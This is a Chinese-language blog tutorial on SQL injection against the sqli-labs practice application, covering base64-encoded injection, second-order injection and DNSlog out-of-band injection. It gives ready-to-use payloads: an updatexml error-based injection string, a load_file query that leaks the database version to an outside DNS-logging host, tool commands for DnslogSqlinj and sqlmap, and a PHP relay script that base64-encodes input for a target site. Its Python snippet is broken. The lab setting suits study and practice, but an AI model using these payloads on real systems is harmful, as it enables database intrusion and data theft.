虚拟化容器,大数据,DBA,中间件,监控。

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

09 11月
作者:admin|分类:DBA运维

加密注入、二次漏洞注入、DNSlog注入

加密注入:

什么是加密注入??下面将由一个例子阐述:

以sqlilabs-less-21为例
1.在登录界面输入账户密码提交抓包
2.在抓到这条数据,将umane的值进行base64解密:

解密结果为admin(注:%3D就是=号)
在admin的基础上进行修改,bb修改为:

admin' or updatexml(1,concat(0x7e,(version())),0) or '

以上代码为盲注中的报错注入(不懂的请点我
再进行base64加密,加密结果为:
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn,再将值替换,转发出去即可。
如下图,在右边区域爆出了数据库的名字

二次注入漏洞

二次注入漏洞就是在代码内部运作时产生的漏洞(代码的问题),一般黑盒测试不出结果,只有白盒测试才能进行测试
以sqlilabs-less-24为例
例如一个最简单的例子:

当注册一个账号aaaa后,再另外注册一个账号aaaa’#,当你登录修改aaaa’#的密码时,你会惊奇的发现,修改的却是aaaa的密码
原因是因为在他的源代码中有这么一句:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们传入aaaa’#时,'$username'变为'aaaa'#形成了闭合,并用#号注释掉了后面的内容
所以在修改aaaa’#的密码时,就会修改到aaaa的头上

DNSlog注入:

DNSlog的主要作用是:
解决盲注无法回显,效率低的问题
1.注册并登录平台:ceye.io,找到主页获取Identifier

把下列中sql语句中的identifier的值(plnxji.ceye.io)替换成你自己的值

select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.plnxji.ceye.io\\abc'))),1,0);

在网站里的DNS Qucry即可看到,已经爆出了version()的值

当然,上面的操作还是稍微有点繁琐的,推荐一款工具:
https://github.com/ADOOO/DnslogSqlinj
解压缩工具后,需要在工具中的config.py文件配置addr和api(就是网站后台那两个值)

运行脚本(我这里用的python2.7.13):
运行软件时,下图已经给出了命令格式(下面也有很多参数可用,这里就不详讲了)

运行,等待结果:

python dnslogSql.py -u "http://192.168.56.217:8080/sqlilabs/less-9/?id=1' and ({})--+"

下图即可看到成功查出用户权限以及数据库名

补充:

在加密注入的基础上,如果你使用了一款工具不自带base64加解密怎么办?
说明:用以下代码的目的是提供一个base64的中转,例如:http://xxxx/?id=MQ==,其中MQ==是1通过base64加密得来的,但是你使用的工具不认得这个数据,如何解决这个问题呢???

php脚本中转

使用php写法有一定的优势,例如通过浏览器访问127.0.0.1/test.php?x=
,这里提供了一个中转的接口,可以使用注入工具直接跑这个地址即可实现中转:

#文件名为:test.php
<? php
$url="http://xxxx/about_us.php?ID="; #目标站点,例如某站id后面都是base64加密的内容
$payload=base64_encode($_GET['x']); #设定一个被x值,被base64加密并赋值
echo $payload;
$urls=$url.$payload;  #将目标站点和被base64加密后的x拼接起来
file_get_contents($urls);
echo $urls;
?>


测试:
例如使用sqlmap进行测试(实质上sqlmap是有base64功能的,这里只做学习使用):

python sqlmap.py -u '127.0.0.1/test.php?x=' -v 3

python写法

python写法,我就随便写了写,好像没多大用处,用php写法比较实用。

url="http://xxxx/?id="
#coding: utf-8
import request
import base64
encodeStrTest = base64.encodestring("{id}".format(id=input("")))
urls=url+encodeStrTest
print(urls)

下图,输入1即可自动将转换为base64的值拼接到原网站上

浏览394 评论0
返回
目录
返回
首页
超详细阿里云服务器配置以及打包项目到服务器 使用PowerDesigner设计数据库保姆级教程